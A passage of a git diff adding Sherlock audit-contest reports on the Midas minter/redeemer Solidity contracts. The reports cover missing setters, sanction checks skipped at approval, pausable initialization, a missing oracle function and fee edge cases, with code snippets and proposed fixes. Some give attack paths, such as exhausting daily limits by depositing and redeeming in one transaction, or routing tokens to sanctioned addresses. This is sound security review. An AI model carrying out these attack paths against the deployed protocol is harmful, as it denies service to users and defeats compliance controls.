+However, once initialized in [`__ManageableVault_init()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L177), `tokensReceiver` cannot be updated anywhere in the contract due to lack of a corresponding function.
+## Impact
+The expected functionality outlined in the specification is not implemented. If `tokensReceiver` is at risk of compromise, the admin has no way to update it without redeploying all smart contracts.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L76
+## Tool used
+
+Manual Review
+
+## Recommendation
+Introduce a `vaultAdmin-only` function to allow `tokenReceiver` to be updated.
\ No newline at end of file
diff --git a/013/111.md b/013/111.md
new file mode 100644
index 0000000..59e75f7
--- /dev/null
+++ b/013/111.md
@@ -0,0 +1,80 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# Discrepancy between spec and code: Vault admin cannot update `tokensReceiver`.
+
+
+## Summary
+
+Vault admin cannot update `tokensReceiver`. However, the specs claim that admin should be able to update it.
+
+## Vulnerability Detail
+
+In the [specs](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=42afde9e098b42ef8296e43286b73299&pm=s), we can see that the "Investment recipient address" is an address the admin can set and **adjust**.
+
+> This is the list of parameters that the admin can set and adjust
+
+> Investment recipient address
+
+> This is the address that receives the funds sent by investors when requesting a subscription (either instant or standard)
+
+However, the `tokensReceiver` variable can only be set during the initializer, and there is no set function for it. Note that all other variables listed in the spec has a setter function, except for `tokensReceiver`.
+
+This is a discrepancy between code and specs where the admin does not have the ability to update the investment recipient address as expected.
+
+```solidity
+ /**
+ * @notice address to which tokens and mTokens will be sent
+ */
+ address public tokensReceiver;
+
+ function __ManageableVault_init(
+ address _ac,
+ MTokenInitParams calldata _mTokenInitParams,
+ ReceiversInitParams calldata _receiversInitParams,
+ InstantInitParams calldata _instantInitParams,
+ address _sanctionsList,
+ uint256 _variationTolerance,
+ uint256 _minAmount
+ ) internal onlyInitializing {
+ _validateAddress(_mTokenInitParams.mToken, false);
+ _validateAddress(_mTokenInitParams.mTokenDataFeed, false);
+@> _validateAddress(_receiversInitParams.tokensReceiver, true);
+ _validateAddress(_receiversInitParams.feeReceiver, true);
+ require(_instantInitParams.instantDailyLimit > 0, "zero limit");
+ _validateFee(_variationTolerance, true);
+ _validateFee(_instantInitParams.instantFee, false);
+
+ mToken = IMTbill(_mTokenInitParams.mToken);
+ __Pausable_init(_ac);
+ __Greenlistable_init_unchained();
+ __Blacklistable_init_unchained();
+ __WithSanctionsList_init_unchained(_sanctionsList);
+
+@> tokensReceiver = _receiversInitParams.tokensReceiver;
+ feeReceiver = _receiversInitParams.feeReceiver;
+ instantFee = _instantInitParams.instantFee;
+ instantDailyLimit = _instantInitParams.instantDailyLimit;
+ minAmount = _minAmount;
+ variationTolerance = _variationTolerance;
+ mTokenDataFeed = IDataFeed(_mTokenInitParams.mTokenDataFeed);
+ }
+```
+
+## Impact
+
+1. Admin cannot set `tokensReceiver` after contract initialization.
+2. Discrepancy between spec and code.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L76
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Create a setter function for `tokensReceiver`.
\ No newline at end of file
diff --git a/014/074.md b/014/074.md
new file mode 100644
index 0000000..047e4b9
--- /dev/null
+++ b/014/074.md
@@ -0,0 +1,188 @@
+Helpful Wooden Porpoise
+
+High
+
+# It doesn't check if the user is blacklisted or sanctioned when the admin approves the request
+
+## Summary
+It doesn't check if the user is blacklisted or sanctioned when the admin approves the request
+## Vulnerability Detail
+Midas claimed that [it is fully compliant with European securities regulations](https://docs.midas.app/#regulatory-compliance):
+> Our tokens, mBASIS and mTBILL, are fully compliant with European securities regulations, ensuring that all holders possess legal rights to the assets. These tokens are structured under German law and issued as debt securities.
+
+When a user request mToken minting or redeeming, it will check if the user is blacklisted or sanctioned:
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol:
+```solidity
+ function depositInstant(
+ address tokenIn,
+ uint256 amountToken,
+ uint256 minReceiveAmount,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositInstant.selector)
+ onlyGreenlisted(msg.sender)
+@> onlyNotBlacklisted(msg.sender)//@audit-info blacklist check
+@> onlyNotSanctioned(msg.sender)//@audit-info sanction check
+ {
+ ...
+ }
+
+ function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositRequest.selector)
+ onlyGreenlisted(msg.sender)
+@> onlyNotBlacklisted(msg.sender)//@audit-info blacklist check
+@> onlyNotSanctioned(msg.sender)//@audit-info sanction check
+ returns (uint256 requestId)
+ {
+ ...
+ }
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol:
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ virtual
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+@> onlyNotBlacklisted(msg.sender)//@audit-info blacklist check
+@> onlyNotSanctioned(msg.sender)//@audit-info sanction check
+ returns (uint256 requestId)
+ {
+ ...
+ }
+
+ function redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemRequest.selector)
+ onlyGreenlisted(msg.sender)
+@> onlyNotBlacklisted(msg.sender)//@audit-info blacklist check
+@> onlyNotSanctioned(msg.sender)//@audit-info sanction check
+ returns (uint256 requestId)
+ {
+ require(tokenOut != MANUAL_FULLFILMENT_TOKEN, "RV: tokenOut == fiat");
+ return _redeemRequest(tokenOut, amountMTokenIn);
+ }
+
+ function redeemFiatRequest(uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemFiatRequest.selector)
+ onlyAlwaysGreenlisted(msg.sender)
+@> onlyNotBlacklisted(msg.sender)//@audit-info blacklist check
+@> onlyNotSanctioned(msg.sender)//@audit-info sanction check
+ returns (uint256 requestId)
+ {
+ return _redeemRequest(MANUAL_FULLFILMENT_TOKEN, amountMTokenIn);
+ }
+```
+As we can see, neither blacklisted user nor sanctioned user can request mToken minting or redeeming.
+However, since a user could be blacklisted or sanctioned after submitting a standard minting/redeeming request, the protocol should ensure that:
+- `mToken` should not be minted to the blacklisted/sanctioned user
+- `paymentToken` should not be transferred to the blacklisted/sanctioned user
+
+But it doesn't check if the request sender is blacklisted or sanctioned when the admin approves the request, which puts the protocol at risk of violating regulations.
+
+## Impact
+The Midas protocol could violate regulations accidentally.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L303-L329
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313-L348
+## Tool used
+
+Manual Review
+
+## Recommendation
+Check if the request sender is blacklisted or sanctioned when approving the request:
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol:
+```diff
+ function _approveRequest(
+ uint256 requestId,
+ uint256 newOutRate,
+ bool isSafe
+ ) private {
+ Request memory request = mintRequests[requestId];
+
+ require(request.sender != address(0), "DV: request not exist");
+ require(
+ request.status == RequestStatus.Pending,
+ "DV: request not pending"
+ );
++ _onlyNotBlacklisted(request.sender);
++ address _sanctionsList = sanctionsList;
++ if (_sanctionsList != address(0)) {
++ require(
++ !ISanctionsList(_sanctionsList).isSanctioned(request.sender),
++ "WSL: sanctioned"
++ );
++ }
+
+ if (isSafe)
+ _requireVariationTolerance(request.tokenOutRate, newOutRate);
+
+ uint256 amountMToken = (request.usdAmountWithoutFees * (10**18)) /
+ newOutRate;
+
+ mToken.mint(request.sender, amountMToken);
+
+ totalMinted[request.sender] += amountMToken;
+
+ request.status = RequestStatus.Processed;
+ request.tokenOutRate = newOutRate;
+ mintRequests[requestId] = request;
+ }
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol
+```diff
+ function _approveRequest(
+ uint256 requestId,
+ uint256 newMTokenRate,
+ bool isSafe
+ ) internal {
+ Request memory request = redeemRequests[requestId];
+
+ _validateRequest(request.sender, request.status);
++ _onlyNotBlacklisted(request.sender);
++ address _sanctionsList = sanctionsList;
++ if (_sanctionsList != address(0)) {
++ require(
++ !ISanctionsList(_sanctionsList).isSanctioned(request.sender),
++ "WSL: sanctioned"
++ );
++ }
+ if (isSafe) {
+ _requireVariationTolerance(request.mTokenRate, newMTokenRate);
+ }
+
+ mToken.burn(address(this), request.amountMToken);
+
+ if (request.tokenOut != MANUAL_FULLFILMENT_TOKEN) {
+ uint256 tokenDecimals = _tokenDecimals(request.tokenOut);
+
+ uint256 amountTokenOutWithoutFee = _truncate(
+ (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+ tokenDecimals
+ );
+
+ _tokenTransferFromTo(
+ request.tokenOut,
+ requestRedeemer,
+ request.sender,
+ amountTokenOutWithoutFee,
+ tokenDecimals
+ );
+ }
+
+ request.status = RequestStatus.Processed;
+ request.mTokenRate = newMTokenRate;
+ redeemRequests[requestId] = request;
+ }
+```
\ No newline at end of file
diff --git a/014/118.md b/014/118.md
new file mode 100644
index 0000000..5da8390
--- /dev/null
+++ b/014/118.md
@@ -0,0 +1,187 @@
+Cheerful Porcelain Eel
+
+High
+
+# Lack of sanctioned user checks when minting makes it possible to mint tokens to users who become sanctioned between deposit request and request approval
+
+## Summary
+
+Users sanctioned in Chainalysis’ oracle between a deposit/redeem request and its acceptance can still get their request accepted, allowing sanctioned users to interact with the protocol.
+
+## Vulnerability Detail
+
+Midas includes some restrictions in order to prevent addresses sanctioned in Chainalysis’ oracle from depositing to or redeeming from the vaults. These restrictions are not only implemented in instant actions, but also in deposit/redeem requests via the `onlyNotSanctioned` modifier:
+
+```solidity
+// DepositVault.sol
+
+function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+
+ ...
+
+ }
+```
+
+```solidity
+// RedemptionVault.sol
+
+function redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ require(tokenOut != MANUAL_FULLFILMENT_TOKEN, "RV: tokenOut == fiat");
+ return _redeemRequest(tokenOut, amountMTokenIn);
+ }
+
+ ...
+
+ function redeemFiatRequest(uint256 amountMTokenIn)
+ external
+ whenFnNotPaused(this.redeemFiatRequest.selector)
+ onlyAlwaysGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ return _redeemRequest(MANUAL_FULLFILMENT_TOKEN, amountMTokenIn);
+ }
+```
+
+As shown in the code snippet, users who are blacklisted, not greenlisted (when greenlist is active) or sanctioned via Chainalysis’ oracle **shouldn’t be able to** **obtain mTBILL/mBASIS tokens** via interaction with the vaults.
+
+The problem with the current implementation is that deposit/redeem request approvals don’t include checks to ensure that users have not been sanctioned by Chainalysis between the deposit/redeem request and the approval of it. As shown in the following snippet, no checks are performed when approving requests:
+
+```solidity
+// DepositVault.sol
+
+function safeApproveRequest(uint256 requestId, uint256 newOutRate)
+ external
+ onlyVaultAdmin
+ {
+ _approveRequest(requestId, newOutRate, true);
+
+ emit SafeApproveRequest(requestId, newOutRate);
+ }
+
+ function approveRequest(uint256 requestId, uint256 newOutRate)
+ external
+ onlyVaultAdmin
+ {
+ _approveRequest(requestId, newOutRate, false);
+
+ emit ApproveRequest(requestId, newOutRate);
+ }
+```
+
+```solidity
+// RedemptionVault.sol
+
+function approveRequest(uint256 requestId, uint256 newMTokenRate)
+ external
+ onlyVaultAdmin
+ {
+ _approveRequest(requestId, newMTokenRate, false);
+
+ emit ApproveRequest(requestId, newMTokenRate);
+ }
+
+
+ function safeApproveRequest(uint256 requestId, uint256 newMTokenRate)
+ external
+ onlyVaultAdmin
+ {
+ _approveRequest(requestId, newMTokenRate, true);
+
+ emit SafeApproveRequest(requestId, newMTokenRate);
+ }
+```
+
+This allows users sanctioned by Chainalysis between a request creation and a request approval to still be able to be approved, thus minting/burning mTBILL/mBASIS tokens, when in reality they shouldn’t be able to.
+
+It is important to note that this restriction is only relevant for Chainalysis’ sanctioned users (not greenlisted/blacklisted users). This is because Midas includes a `rejectRequest` function, which allows Midas’ admins to reject any request they don’t think adheres to the protocol’s correct behavior. Checking if a user has been blacklisted or if it’s on the greenlist simply wouldn’t make sense, as the admins would directly reject the request. However, because Chainalysis’ oracle is not operated by Midas’ admins and is fully on-chain, admins could still approve users sanctioned after the deposit/redeem request, without actually noticing they are approving a request from a sanctioned user (the README in Midas’ Sherlock audit page does not mention any off-chain mechanism to monitor sanctioned users).
+
+In addition, another possible way to still enable sanctioned users to obtain mTBILL/mBASIS tokens is by depositing with a non-blacklisted/non-sanctioned address, and then transferring the tokens to the sanctioned address. This is possible because sanction checks are not enforced at a token level:
+
+```solidity
+// mTBILL.sol
+
+function _beforeTokenTransfer(
+ address from,
+ address to,
+ uint256 amount
+ ) internal virtual override(ERC20PausableUpgradeable) {
+ if (to != address(0)) {
+ _onlyNotBlacklisted(from);
+ _onlyNotBlacklisted(to);
+ }
+
+ ERC20PausableUpgradeable._beforeTokenTransfer(from, to, amount);
+ }
+```
+
+As we can see, transfers ensure that blacklisted users can’t send/receive mTBILL/mBASIS tokens. However, checks are never applied for sanctioned users, so it is still possible to circumvent the sanction checks in the vaults by directly transferring mTBILL/mBASIS to a sanctioned address after depositing on the vault.
+
+## Impact
+
+Sanctioned users can still interact with the protocol. Given the centralized nature of Midas, this vulnerability should be considered of high impact, as it effectively allows users to bypass the KYC requirements for onboarding described in Midas’ [Terms and Conditions](https://2732961456-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsPjk0ggBxEJCCnVFFkDR%2Fuploads%2Fc98ICBmy69gcO3P8L5nG%2FMidas%20Terms%20and%20Conditions.pdf?alt=media&token=4373edbe-c2b1-49b1-af78-fe39bc2da800), section 2.2 subsection c), stating that “neither the investor nor the investor’s wallet is listed on neither one of the European Union’s nor on one of the United States of America’s respective sanction lists.”
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/mTBILL.sol#L87-L90
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L221
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L225
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Enforce checks for sanctioned users at a token level.
+
+```diff
+// mTBILL.sol
+
+- contract mTBILL is ERC20PausableUpgradeable, Blacklistable, IMTbill {
++ contract mTBILL is ERC20PausableUpgradeable, Blacklistable, WithSanctionsList, IMTbill {
+
+function _beforeTokenTransfer(
+ address from,
+ address to,
+ uint256 amount
+ ) internal virtual override(ERC20PausableUpgradeable) {
+ if (to != address(0)) {
+ _onlyNotBlacklisted(from);
+ _onlyNotBlacklisted(to);
+
++ address _sanctionsList = sanctionsList;
++ if (_sanctionsList != address(0)) {
++ require(
++ !ISanctionsList(_sanctionsList).isSanctioned(from) && !ISanctionsList(_sanctionsList).isSanctioned(to),
++ "WSL: sanctioned"
++ );
+ }
+
+ ERC20PausableUpgradeable._beforeTokenTransfer(from, to, amount);
+ }
+```
+
+If sanctions are required to be checked only on vault interactions, then check if user is sanctioned when approving a mint request.
+
diff --git a/016.md b/016.md
new file mode 100644
index 0000000..e684d8e
--- /dev/null
+++ b/016.md
@@ -0,0 +1,77 @@
+Attractive Fern Tapir
+
+Medium
+
+# mTBILL contract is not pausable as the storage for PausableUpgradeable was not initialized
+
+### Summary
+
+`mTBILL` contract's pausable feature will not enabled as the initialise function did not follow through the init call chain to initialize the storage of `PausableUpgradeable` contract. As such, the feature of pausing and unpausing will not work as expected.
+
+
+
+### Root Cause
+
+In the case of upgradable contract, the storage initialisation is done via init() functions. The init functions are called via proxy contracts and the storage initialized and used for the protocol is in the proxy contract. Unlike constructor that follows the chain of inheritance to initialize all the base contract, the initialisation chain is the responsibility of the developer.
+
+ With reference to `mTBILL` contract', it derives from `ERC20PausableUpgradeable` and `Blacklistable `contracts.
+
+```solidity
+ contract mTBILL is ERC20PausableUpgradeable, Blacklistable, IMTbill {
+```
+
+But in the `initialize()` function, the below chain of init functions are called.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mTBILL/mTBILL.sol#L29-L32
+
+The above init calls does not ensure that the storage for `ERC20PausableUpgradeable` contract is initialized.
+In order to initialize the storage for `PausableUpgradeable` contract, `__Pausable_init_unchained()` should be called.
+
+```solidity
+ abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
+ function __ERC20Pausable_init() internal onlyInitializing {
+ __Pausable_init_unchained();
+ }
+```
+`__Pausable_init_unchained()` will ensue that the `PausableStorage` is initialized and ready for use.
+
+```solidity
+ function __Pausable_init_unchained() internal onlyInitializing {
+ PausableStorage storage $ = _getPausableStorage();
+ $._paused = false;
+ }
+```
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The pause and unpause feature for `mTBILL` contract' will not work as expected.
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+revise the `initialize` function to make call to `__Pausable_init_unchained()` function. This will ensure the storage for the `PausableUpgradeable` is initialised and ready to be used.
+
+```solidity
+ function initialize(address _accessControl) external virtual initializer {
+ __Blacklistable_init(_accessControl);
+ + __Pausable_init_unchained();
+ __ERC20_init("mTBILL", "mTBILL");
+ }
+
+```
\ No newline at end of file
diff --git a/020.md b/020.md
new file mode 100644
index 0000000..a10831b
--- /dev/null
+++ b/020.md
@@ -0,0 +1,94 @@
+Fantastic Punch Scallop
+
+High
+
+# Custom Oracle is missing a function used for price hence enabling DoS
+
+## Summary
+Currently, Midas has a custom aggregator for the mToken prices, which is Chainlink-compatible and we gonna use it for mToken prices.
+## Vulnerability Detail
+The problem arise in `DepositVault::_calcAndValidateDeposit` which calls `_convertUsdToMToken`. The functions calls the contract `mTokenDataFeed` which was initialized in `__ManageableVault_init`. We can see that the implementation uses IDataFeed interface which contains `function getDataInBase18()`.
+
+However `DataFeed.sol` and `MBasisCustomAggregatorFeed.sol and MTBillCustomAggregatorFeed.sol` inherits `CustomAggregatorV3CompatibleFeed.sol` abstract contract does not have the function `getDataInBase18()`.
+```solidity
+ function __ManageableVault_init(
+ address _ac,
+ MTokenInitParams calldata _mTokenInitParams,
+ ReceiversInitParams calldata _receiversInitParams,
+ InstantInitParams calldata _instantInitParams,
+ address _sanctionsList,
+ uint256 _variationTolerance,
+ uint256 _minAmount
+ ) internal onlyInitializing {
+ -- SNIP --
+mTokenDataFeed = IDataFeed(_mTokenInitParams.mTokenDataFeed);
+```
+```solidity
+//DepositVault.sol
+ function _convertUsdToMToken(uint256 amountUsd)
+ internal
+ view
+ returns (uint256 amountMToken, uint256 mTokenRate)
+ {
+ require(amountUsd > 0, "DV: amount zero");
+ //@audit-issue mToken uses customDataFeed and is missing getDataInBase18 function
+ mTokenRate = mTokenDataFeed.getDataInBase18();
+ require(mTokenRate > 0, "DV: rate zero");
+
+ amountMToken = (amountUsd * (10**18)) / mTokenRate;
+ }
+```
+Same problem applies to Redemption contract.
+```solidity
+//RedemptionVault.sol
+ function _convertMTokenToUsd(uint256 amountMToken)
+ internal
+ view
+ returns (uint256 amountUsd, uint256 mTokenRate)
+ {
+ require(amountMToken > 0, "RV: amount zero");
+
+ mTokenRate = mTokenDataFeed.getDataInBase18();
+ require(mTokenRate > 0, "RV: rate zero");
+
+ amountUsd = (amountMToken * mTokenRate) / (10**18);
+ }
+
+ function _redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ internal
+ returns (uint256)
+ {
+ -- SNIP --
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+ -- SNIP --
+```
+Same issues applies to `MBasisRedemptionVaultWithSwapper`:
+```solidity
+ function _swapMBasisToMToken(uint256 mBasisAmount)
+ internal
+ returns (uint256 mTokenAmount)
+ {
+-- SNIP --
+
+ uint256 mTbillRate = mTbillRedemptionVault
+ .mTokenDataFeed()//@audit-issue
+ .getDataInBase18();
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18(); //@audit-issue
+ mTokenAmount = (mBasisAmount * mTokenRate) / mTbillRate;
+
+-- SNIP --
+ }
+```
+Note: The test contract uses a mock datafeed which inherits Chainlink DataFeed hence it was "working" in test case.
+## Impact
+Users cannot deposit tokens into protocol bricking the protocol.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L436
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L466
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L401
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure that `CustomAggregatorV3CompatibleFeed.sol` contains the `getDataInBase18()` function.
\ No newline at end of file
diff --git a/022.md b/022.md
new file mode 100644
index 0000000..a200768
--- /dev/null
+++ b/022.md
@@ -0,0 +1,22 @@
+Fresh Gunmetal Boa
+
+Medium
+
+# Anyone can block the depositInstant and redeemInstant functions
+
+## Summary
+The depositInstant and redeemInstant functions are limited by daily amounts. If this daily amount is passed, the functions will revert.
+## Vulnerability Detail
+The main issue is `_requireAndUpdateLimit` function which is called in the depositInstant and redeemInstant fuctions.
+Consider the following scenario:
+A user simply deposits the maximum daily amount using deposit instant and than redeems it using redeemInstant. As a result they will block core contract functionalities for other users rendering the unusable, by paying just small fees.
+## Impact
+Considering that the attacker should pay fees in order to execute this attack and that there is no incentive for the attacker I believe it should be Medium severity as it will render core contract functionality useless.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L487
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider using a different strategy for the instant redeem and deposit functions so that such griefing attacks would not be feasible.
\ No newline at end of file
diff --git a/025.md b/025.md
new file mode 100644
index 0000000..e11e804
--- /dev/null
+++ b/025.md
@@ -0,0 +1,87 @@
+Macho Garnet Jay
+
+Medium
+
+# If fees reaches 100% ( which is allowed ) deposit will never works
+
+## Summary
+There are different types of fees as an example by the sponsor suppose the instant mint fee is 95% and the token fee is 5% then the fee percent here is 100%. Even if the fee is > 100% it will be set to 100% which means that the protocol expects it. This will cause the deposit to always revert to this requirement.
+
+```solidity
+require(amountUsd > 0, "DV: amount zero");
+```
+## Vulnerability Detail
+If total fees > 100% it will be set to 100% or even if it is 100% the deposit will always revert, due to this requirement
+```solidity
+require(amountUsd > 0, "DV: amount zero");
+```
+
+## POC
+```typescript
+it('It will revert ', async () => {
+ const {
+ owner,
+ depositVault,
+ stableCoins,
+ mTBILL,
+ greenListableTester,
+ mTokenToUsdDataFeed,
+ accessControl,
+ regularAccounts,
+ dataFeed,
+ } = await loadFixture(defaultDeploy);
+
+ await depositVault.setGreenlistEnable(true);
+
+ await greenList(
+ { greenlistable: greenListableTester, accessControl, owner },
+ regularAccounts[0],
+ );
+
+ await mintToken(stableCoins.dai, regularAccounts[0], 100);
+ await approveBase18(
+ regularAccounts[0],
+ stableCoins.dai,
+ depositVault,
+ 100,
+ );
+ await addPaymentTokenTest(
+ { vault: depositVault, owner },
+ stableCoins.dai,
+ dataFeed.address,
+ 0,
+ true,
+ );
+
+ await changeTokenFeeTest(
+ { vault: depositVault, owner },
+ stableCoins.dai.address,
+ 10000,
+ );
+
+ await depositInstantTest(
+ { depositVault, owner, mTBILL, mTokenToUsdDataFeed },
+ stableCoins.dai,
+ 100,
+ {
+ from: regularAccounts[0],
+ revertMessage: 'DV: amount zero',
+ },
+ );
+ });
+```
+
+## Impact
+
+The deposit function will always revert
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L434
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Dont allow fees to be > 100%
\ No newline at end of file
diff --git a/026.md b/026.md
new file mode 100644
index 0000000..9834e37
--- /dev/null
+++ b/026.md
@@ -0,0 +1,42 @@
+Round Glass Tardigrade
+
+Medium
+
+# Instant Redeem and Deposit Limits Can Be Abused - DoS
+
+### Summary
+
+A malicious user can deposit and redeem within the same block. This way attacker can drain daily limits. This attack becomes feasible and incurs no cost for the attacker (other than gas fees), if Midas team set fees to 0%.
+
+The Midas team has stated that:
+_All percentages should be ≤ 100%, and all percentages for fees should be ≥ 0% (except for ManageableVault::variationTolerance, which should be > 0%)_.
+
+### Root Cause
+
+There is a daily limit on the number of tokens that can be deposited and redeemed. Both the instantDeposit and instantRedeem functions have this protection through the [_requireAndUpdateLimit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L113) function.
+
+Since the Midas team allows fees to drop to 0% - as specified in [_validateFee](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L583) - it is possible for a malicious actor to deposit and redeem within the same transaction. The attack is feasible because the stablecoin is always 1:1, and the exchangeRatio does not change automatically (it is manually updated by the team). By following the deposit-redeem flow, the attacker would receive the same amount of USDC tokens back, while the daily limits would be targeted and fulfilled, preventing other users from performing instant deposits and redemptions on the same day.
+
+### Internal pre-conditions
+
+1. Admin sets `additionalFee`, `tokenFee` and `instantFee` to 0%.
+
+### External pre-conditions
+None
+
+### Attack Path
+1. Consider a daily limit of 100 tokens.
+2. The attacker deposits 100 tokens.
+3. In the same transaction, the attacker redeems 100 tokens.
+4. Since fees are 0%, the attacker can redeem the same amount they deposited.
+5. The daily limit is now reached, preventing other users from performing instant token deposits and redemptions.
+
+### Impact
+An attacker can exhaust the daily limit of deposits and redemptions, preventing other users from using the instant deposit and instant redeem functionalities.
+
+### PoC
+
+_No response_
+
+### Mitigation
+Do not allow the `instantFee` to drop to 0%; it should always be above 0% to disincentivize attackers from performing a DoS attack on daily limits.
\ No newline at end of file
diff --git a/031.md b/031.md
new file mode 100644
index 0000000..7b649cd
--- /dev/null
+++ b/031.md
@@ -0,0 +1,89 @@
+Colossal Plastic Shark
+
+Medium
+
+# Admin's failure to track token amounts will result in inaccurate refunds for users on canceled requests
+
+### Summary
+
+The missing tracking of the `tokenIn` amount in the [`DepositVault::depositRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L195-L203) when creating the `mintRequest[]` will prevent the admin from accurately refunding the correct amount back to the user, especially when the deposit token is not a stablecoin (e.g., `WBTC`) that is not pegged 1:1 to the tracking USD value (`usdAmountWithoutFees` and `depositedUsdAmount`).
+
+Since the protocol allows the use of tokens that are not stablecoins (e.g., `WBTC`), without precise tracking of the `tokenIn` amount and its rate at the time of deposit, admins will face challenges in calculating the correct refund amount. They might end up refunding either too much or too little WBTC, depending on fluctuations in WBTC’s value.
+
+The cancel request can be initiated by the admin, and the admin may choose to send the `tokenIn` back to the user separately, as indicated in the link provided in the contest `README`.
+
+[Midas Vaults - Sherlock Audit Specifications: Admin can fulfill a standard mint request](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=b2d81e54f6bc482ea9fbc889bbfec9ff&pm=s)
+> The admin can also decide to cancel the subscription. Ideally, we also have a function that can be called by the admin that flags the subscription request as canceled. In this scenario, no transfer of TOKEN or token_in happens (the admin may send the token_in back to the user separately). Additionally, the fees that were taken remain in the fee recipient address.
+
+
+### Root Cause
+
+In [`DepositVault::depositRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L195-L203), there is a lack of tracking the `tokenIn` amount.
+
+[DepositVault::depositRequest](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148-L214)
+```solidity
+File: DepositVault.sol
+148: function depositRequest(
+149: address tokenIn,
+150: uint256 amountToken,
+151: bytes32 referrerId
+152: )
+---
+195: mintRequests[currentId] = Request({
+196: sender: user,
+197: tokenIn: tokenInCopy,
+198: status: RequestStatus.Pending,
+199: depositedUsdAmount: tokenAmountInUsd, // tokenIn amount in USD rate at request creation
+200: usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+201: 10**18, // tokenIn without fee amount in USD rate at request creation
+202: tokenOutRate: tokenOutRate
+203: });
+204:
+205: emit DepositRequest(
+206: currentId,
+207: user,
+208: tokenInCopy,
+209: tokenAmountInUsd,
+210: feeAmount, // fee as in tokenIn amount
+211: tokenOutRate,
+212: referrerIdCopy
+213: );
+214: }
+```
